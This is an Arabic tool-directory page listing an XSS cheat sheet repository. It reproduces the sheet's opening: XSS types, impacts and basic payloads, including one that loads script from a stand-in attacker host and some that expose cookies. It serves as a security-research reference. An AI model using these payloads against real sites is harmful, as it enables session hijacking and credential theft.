Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
xss-cheatsheet — مرجع شامل لهجمات XSS يغطي الحمولات المنعكسة والمخزّنة وDOM والعمياء، وتجاوز الفلاتر، والتهرب من WAF، وتجاوز CSP، وmXSS، ودراسات حالة واقعية لتطبيقات CVE. | Kitploit
أدوات/GitHubGitHub/ardakocadoru/xss-cheatsheet
ماسحات الثغرات الأمنية للويبتوليد الحمولةتحليل الثغرات الأمنيةاستغلال تطبيقات الويبتجاوز WAFأمن الويباختبار الاختراقالتعلم والتعليمموارد منسقة
GitHubardakocadoru/xss-cheatsheet

xss-cheatsheet

مرجع شامل لهجمات XSS يغطي الحمولات المنعكسة والمخزّنة وDOM والعمياء، وتجاوز الفلاتر، والتهرب من WAF، وتجاوز CSP، وmXSS، ودراسات حالة واقعية لتطبيقات CVE.

222منذ 3 أشهرلم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

⚡ ورقة مرجعية لـ XSS — مرجع البرمجة النصية عبر المواقع

Stars License: MIT PRs Welcome Last Updated Payloads

المرجع الأكثر شمولاً لـ XSS على GitHub.
المنعكس · المخزّن · DOM · XSS الأعمى — الحمولات، تجاوز الفلاتر، التهرب من WAF، تجاوز CSP، mXSS، سلاسل تلوث النموذج الأولي، وثغرات CVE الواقعية. محدّث لعام 2026.

الحمولات · تجاوز الفلاتر · التهرب من WAF · DOM XSS · تجاوز CSP · XSS الأعمى · متقدم · الأدوات


جدول المحتويات

  • ما هو XSS؟
  • أنواع XSS
  • الحمولات الأساسية
    • الحمولات الكلاسيكية
    • بدائل alert
    • بدون أقواس
    • بدون مسافات
    • مع إزالة علامات الاقتباس
  • تجاوز الفلاتر
    • تغيير حالة الأحرف
    • تمويه الوسوم
    • قائمة معالجات الأحداث
    • ترميز HTML
    • ترميز JavaScript
    • ترميز URL
    • الترميز المزدوج
    • حمولات SVG
    • خاص بـ HTML5
    • Data URI
  • حمولات خاصة بالسياق
    • سياق HTML
    • سياق سمات HTML
    • سياق JavaScript
    • سياق نص JavaScript
    • سياق URL
    • سياق CSS
    • سياق JSON / القوالب
  • التهرب من WAF
    • تجاوز Cloudflare
    • تجاوز ModSecurity
    • تجاوز AWS WAF
    • التهرب العام
  • تجاوز CSP
    • unsafe-inline
    • script-src self
    • القوائم البيضاء لـ CDN
    • غياب base-uri
    • عبر الترميز المعلّق
    • CSP القائم على Nonce
  • XSS القائم على DOM
    • المصادر الشائعة
    • المصارف الشائعة
    • حمولات DOM XSS
    • حقن قوالب AngularJS
  • XSS الأعمى
  • متعدد اللغات XSS
  • XSS عبر رفع الملفات
  • XSS في ترويسات HTTP
  • من XSS إلى RCE
  • تقنيات متقدمة
    • mXSS
    • تشويش DOM
    • تلوث النموذج الأولي إلى XSS
    • CSTI
  • الدفاع
  • ثغرات CVE الواقعية
  • الأدوات
  • المراجع
  • المساهمة

🎯 ما هو XSS؟

البرمجة النصية عبر المواقع (XSS) هي هجوم حقن شيفرة من جانب العميل حيث يقوم المهاجم بحقن نصوص برمجية خبيثة في محتوى يقدّمه تطبيق ويب موثوق. عندما يعرض متصفح الضحية الصفحة، يُنفَّذ النص المحقون بنفس صلاحيات النصوص البرمجية الشرعية من ذلك الأصل.

لماذا يُعدّ XSS مهمًا

يظهر XSS باستمرار في قائمة OWASP Top 10 لأن التأثير شديد وسطح الهجوم هائل:

التأثيرالوصف
اختطاف الجلسةسرقة document.cookie والاستيلاء على الجلسات الموثّقة
الاستيلاء على الحسابتغيير البريد الإلكتروني/كلمة المرور عبر طلبات مزوّرة باستخدام جلسة الضحية
تسجيل ضغطات المفاتيحالتقاط كل ضغطة مفتاح، بما في ذلك كلمات المرور وأرقام بطاقات الائتمان
التصيّد الاحتياليحقن نماذج تسجيل دخول مزيفة ترسل بيانات الاعتماد إلى المهاجم
التشويهتعديل محتوى الصفحة لنشر معلومات مضللة أو إحراج الهدف
توزيع البرمجيات الخبيثةإعادة توجيه الضحايا إلى مجموعات الاستغلال
التعدين الخفي للعملات الرقميةتشغيل برامج تعدين العملات الرقمية في متصفحات الضحايا
SSRF / فحص المنافذ الداخليةاستخدام متصفح الضحية لفحص الشبكة الداخلية
حصاد بيانات الاعتمادقراءة بيانات الاعتماد المعبأة تلقائيًا من DOM
لقطة الشاشة / كاميرا الويبالتقاط الشاشة عبر getDisplayMedia()، وكاميرا الويب عبر getUserMedia()

سياسة المصدر نفسه وXSS

تُبطل XSS سياسة المصدر نفسه (SOP). ولأن النص البرمجي الخبيث يُقدَّم من الأصل المستهدف، فإن المتصفح يعامله كموثوق. وهذا يعني أن XSS يمنح المهاجم:

  • وصولاً كاملاً للقراءة/الكتابة إلى DOM
  • الوصول إلى جميع ملفات تعريف الارتباط غير المحمية بـ HttpOnly
  • القدرة على إجراء طلبات XHR/fetch موثّقة إلى المصدر نفسه
  • الوصول إلى localStorage وsessionStorage

🗺️ أنواع XSS

Cross-Site Scripting (XSS)
│
├── Reflected XSS
│   ├── Payload in request, reflected in response immediately
│   ├── Requires victim to click crafted link
│   ├── Stored: NO — not persistent
│   └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│   ├── Payload stored in database, file, log, etc.
│   ├── Executes on every page load for every victim
│   ├── Stored: YES — most dangerous type
│   └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│   ├── Payload processed by client-side JS, never reaches server
│   ├── Source → Sink flow entirely in browser
│   ├── Often missed by server-side WAFs and scanners
│   └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
    ├── Payload executes in a different context than where it's injected
    ├── Fires in admin panels, log viewers, CRM systems
    ├── Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
النوعالاستمراريةمن يتأثرهل يرى الخادم الحمولة؟
Reflectedلاالضحية المستهدفةنعم
Storedنعمجميع الزوارنعم
DOMلاالضحية المستهدفةعادةً لا
Blindنعم (عن بُعد)المسؤول / مستخدم الواجهة الخلفيةنعم (عند نقطة الحقن)

💥 الحمولات الأساسية

الكلاسيكية

الحمولات التأسيسية التي يعرفها كل باحث أمني. تعمل هذه الحمولات حيث لا يوجد أي تصفية.

<!-- Standard script tag -->
<script>alert(1)</script>

<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>

<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>

<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>

<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>

<!-- Newline in script tag -->
<script>
alert(1)
</script>

<!-- Multiple statements -->
<script>var x=1;alert(x)</script>

<!-- Using window.alert -->
<script>window.alert(1)</script>

<!-- With character reference -->
<script>alert&#40;1&#41;</script>

<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>

<!-- Arrow function -->
<script>(() => alert(1))()</script>

بدائل alert (عندما يتم حظر alert)

تحظر العديد من التطبيقات الحديثة وجدران الحماية WAF كلمة alert. استخدم هذه البدائل:

// confirm() — shows OK/Cancel dialog
<script>confirm(1)</script>

// prompt() — shows input dialog  
<script>prompt(1)</script>

// console.log() — silent, check browser console
<script>console.log(document.cookie)</script>

// print() — opens print dialog (noisy but visible)
<script>print()</script>

// debugger — pauses DevTools if open
<script>debugger</script>

// throw — visible in console as uncaught error
<script>throw 1</script>
تنزيل الأداة